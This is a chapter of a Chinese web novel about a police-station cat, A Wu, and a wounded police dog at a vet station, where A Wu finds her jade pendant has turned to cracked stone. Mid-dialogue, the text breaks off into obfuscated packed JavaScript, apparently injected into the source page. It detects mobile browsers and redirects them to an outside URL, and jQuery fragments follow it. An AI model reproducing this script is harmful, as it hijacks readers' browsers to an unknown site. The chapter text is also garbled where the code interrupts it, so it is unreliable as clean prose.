4. 第 4 章

作品:《边城警猫

    “汪呜呜呜!”


    “万里,听话,不痛的啊。”


    “嗷!汪!”


    “莫动莫动!”


    “嘤!呜呜汪!”


    阿五蹲在一袋子饲料上,围观兽医站内的混乱场景。


    马自平将万里的上半身紧紧抱在怀中,边星遥按着万里的下肢,一位头发乱蓬蓬的年轻女子正试图将万里绑在手术台上。


    万里一会将头插进马自平的怀里,一会又伸出来凄惨地嚎叫。


    三人艰难地制住这只大犬,马自平慌乱的喊叫声简直和万里一样大。


    女子脑门蹦出了青筋:“哎呀,哎呀,莫喊了!”


    也不知是在叫马自平闭嘴,还是万里。


    马自平涨红着脸:“不好意思刀医生!”


    万里的叫声充满了不安和抗拒,但阿五没有从这些人身上感知到恶意,不好轻举妄动,只得蹲坐在原地。


    此时万里终于被固定好,刀医生舒了口气,她对边星遥道:“好了,训导员留下,你出去吧。”


    边星遥道了声“好”,走出门外。


    门被关上了。


    “喵?”


    阿五疑惑地歪头,她不能看吗?


    边星遥走到小猫身边,低头打量了两眼。这小猫没跑,还挺乖的。不过当时抓住了才发现它脖子上的吊坠,没想到是有主的。等帮它治好了病,还得放走,不好留在所里。


    “阿嚏。”阿五一抖,伸爪揉了揉鼻子。


    她现在浑身都不太对劲,只想睡觉,可是在这样的陌生环境下,阿五并不敢睡。


    刚才进屋时,天色已沉,因此除了他们这一行人,此地并无旁人。


    宽大的房子被分隔成了三四个区域,墙上贴了许多贴画,有猪、牛,还有羊。阿五端详着这些动物,长得倒是和她以往见过的差不太多。


    这些画旁还密密麻麻写着字,可惜她并不认字。


    房间里的味道驳杂,人的、牲畜的,应有尽有。


    这里好似是专门给动物看诊的地方。


    “汪!!”


    万里凄厉的叫声响起,阿五悚然一惊,跳起瞪圆了猫眼:“喵!”


    她紧盯住那扇关闭的门,万里痛苦的低叫声不断溢出。


    阿五一跃而下奔向那扇门,却听得后头传来了呼唤。她甩甩尾巴,迟疑地转过了头。


    边星遥蹲下身,冲着小猫招招手:“小猫,来,不要打扰医生,万里没事的。”


    阿五盯着所长的眼睛没动,耳朵仔细听着房内的声音。在万里的哀叫声中,还夹杂着人的哭腔和安抚。


    这声音来自一路上抱着万里的那个人。


    期间边星遥维持着伸出手的姿势,慢慢靠近小猫。


    阿五嗅了嗅他的手。


    气息稳定平和,没有攻击性。


    万里一直在叫,房里应该不是在杀狗。


    外面这人也没有要伤害她的意思。


    见小猫往回走,边星遥用手背轻轻蹭蹭小猫的脸,满意笑笑:“好猫。”


    说完他四下瞧瞧,搬了只小板凳,坐在手术室的门口。


    阿五绕着所长转了两圈,重新回到了饲料袋上趴着。


    这里既能看见门,又能观察所长的一举一动,完美的位置。


    过了一会,边星遥侧头,就见小猫闭眼,脑袋缓缓下垂,又猛然惊醒抬头。


    他摇摇头,有些好笑。


    不知过了多久,门终于开了。


    边星遥弯腰一把捞住惊醒后想往屋里冲的阿五,又将小板凳放回原处,这才迎向刀医生。


    刀医生道:“同志,弄好了啊,等我配个药。”


    她疲惫地挠挠头发,让它显得更乱了:“你这猫也带过来,我看下。”


    “好的,辛苦了医生。”边星遥看向屋内,只见万里的腿、腹部都裹着白色的绷带,身上的束缚已经解开。


    马自平走出屋。


    见阿五也伸着脖子往里看,刀医生停下严肃叮嘱:“同志,这猫抱好啊。里头的犬伤口发炎了,虽说已经消了毒,还打了消炎药,但还是要和其他动物隔离的。”


    “坐一个车里没事吧?”


    “别挨着,回家消毒。”


    “好。”边星遥点头。


    刀医生离开。


    边星遥将手中扭动的小猫举起,指指房间,严肃:“不能靠近。”


    阿五盯着他的脸看了一会,老实了。


    虽然听不懂话,但阿五能看得懂脸色。


    房内的大狗是活着的,不让她过去,那她就不过去好啦。


    马自平走到边星遥身边:“所长,拿完药就可以回去了。万里的伤口都已经缝好,腿上四针,腹部六针。断腿打了石膏,后续要静养两个月。”


    说着他又叹了口气:“还好万里福大命大,我都以为万里要截肢了。”


    刀医生听见了,无奈:“闭合性骨折,不用截肢。”


    边星遥捧着猫:“瞧瞧你这眼睛肿的,回去拿冷毛巾敷敷。之后给万里多补充点营养,好了,拿完药你们就先回车上。”


    马自平焉头耷脑地摸了摸眼睛:“是,所长。”


    刀医生已经尽数将药取出,正坐在一张桌案前写注意事项。


    写好后,她又将其中的细节和马自平交代了一番,确认对方都记住后,才看向阿五:“来。”


    边星遥将阿五放在了桌上。


    阿五踩着红色的木桌,嗅了嗅刀医生缓缓伸过来的手。


    味道有点刺鼻,除此之外的气味倒也不令阿五讨厌。


    那只手移到她的下巴处挠了挠,阿五眯了眼,唔,有点舒服!随即她被刀医生抬起了头,还掰开了嘴。


    边星遥在一旁解释:“症状是呕吐和打喷嚏,呕吐物里有没消化完的食物,皮毛是湿的。”


    接着阿五又被刀医生捏了耳朵,还翻了皮毛,爪子。


    一番操作下来,阿五怔在了原地,这位娘子……在帮她看诊?原来所长带她来此地,是为了看病?


    啊,她生病了?


    还没等阿五细想,她就被刀医生托着肚皮,轻柔地换了个方向。


    一只有着翠绿眼睛,浑身斑点皮毛的狸奴陡然出现在阿五眼前。


    阿五一怔,这是镜子?


    唔,她现在竟然长这个模样,挺威武的嘛。


    阿五压低脑袋,对着镜子做了个龇牙的霸气表情。


    边星遥瞥了眼镜子,伸出手。


    对外表颇为满意的阿五点点头。


    一块灰扑扑的石头随着被扣下的镜子,闪过阿五的视线。


    “喵啊?”


    阿五呆了。


    她不可置信地瞧了瞧镜子,又抬头瞪着边星遥,随即赶忙低头,想去看脖子上的吊坠。


    边星遥扣下镜子,听刀医生为他分析完小猫的病情,得知是着凉后,松了口气。


    “我去配药。”刀医生转身离开。


    边星遥点头道谢。


    就见小猫刚冲镜子发完火,又不知怎的,开始和脖子上的项链搏斗。


    他叹了口气,伸出手:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201077|165710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    带着项链不舒服?我帮你解……嘶。”


    边星遥收回带着三道白色爪痕的手。


    “哈!”阿五瞧见那爪痕,耳朵背得更贴脑袋了。


    刀医生闻声回头。


    边星遥随意揉揉,退后一步,颇有些手足无措,不明白小猫为什么突然翻脸:“我不碰你了,别怕。”


    阿五炸着毛,烦燥地甩尾,见所长不再试图接近她的坠子,就猛冲向镜子,开始疯狂扣镜子的边缘,试图将它翻开。


    脖子上的吊坠位置十分刁钻,无论阿五怎么换姿势,就是看不见。


    但那灰扑扑的东西不可能是她的吊坠!


    阿五折腾着镜子,呼喊道:“阿娘!阿娘!你们还在吗!”


    玉坠定是沾了泥!


    这镜子为何竖不起来!


    “它好像想照镜子。”刀医生一直注意着小猫的动静。


    边星遥点点头,谨慎地靠近,小猫顿时停下了所有动作,弓身注视着他。


    镜子恢复了原状。


    阿五一下子窜到镜子边,眼珠子却左瞟右瞄,一时不敢面对,随后定住。


    灰的。


    石头。


    阿五抬爪擦了擦吊坠,没有任何变化。


    此刻阿五只觉她是前天夜里那棵被雷劈中的树,整个人都燃烧了起来。


    陪她度过了五载春秋的玉坠呢?


    怎会变成这块石头!


    她的玉坠可是神物,无惧磕碰,怎么会满是裂缝?


    若非这石头的形状是一只躺卧的狸奴,阿五简直不敢认。


    刀医生拿了药,还为边星遥拿了瓶碘伏。


    她走到阿五身边,观察了一会,干脆地掰开小猫的嘴,将药往喉咙深处一塞,小猫就将药咽了下去。


    阿五下意识地舔着嘴唇,胡须却抖如筛糠。


    她病了。


    难怪她一直觉得身上不舒服,头晕呕吐没力气,还被带来看诊,竟是她病了!


    这一切,都是因为玉坠变成了石头!


    阿五软着爪子去翻吊坠:“……阿耶,阿娘,你们还在阿五身边的,对不对?”


    “求你们了,理理阿五吧。”


    “阿五如今腿好了,会比以往更有用的。”


    “阿五还能抓鸡,以后我们再也不会饿肚子了。”


    坠子被翻了个面。


    阿五盯着镜子,不敢再动。


    这黑点……


    原本的吊坠通体莹白,其上没有一丝杂质。


    如今竟多了四个黑点。


    “咦?怎么哭了?”边星遥担忧地注视着小猫,“刀医生,你看看,是不是哪里有问题啊。”


    “啊?我看看,刚才检查它的眼睛没什么问题的。”


    刀医生又将小猫检查了一遍,困惑地拧了眉头,喃喃道:“眼睛不红,分泌物也很少,应该就是着凉感冒了,没有感染病毒啊。”


    “镜子看久了?”边星遥猜测。


    “有可能。”刀医生思考了一会,继续将手中的注意事项补充完整,交给边星遥:“吃药的注意事项都在这上面了,顺带注意观察,如果眼睛变红,身体温度高,赶紧过来看。”


    边星遥接过药和纸条:“好的,这么晚了,辛苦医生了。”


    刀医生摇摇头:“没事。”


    马自平和万里早已回到了车上,边星遥付完钱,先拿出手帕为小猫擦去泪水,这才走出兽医站,将手中魂游天外的小猫和药都放在了副驾驶。


    一行人和刀医生告别,返回了森林派出所。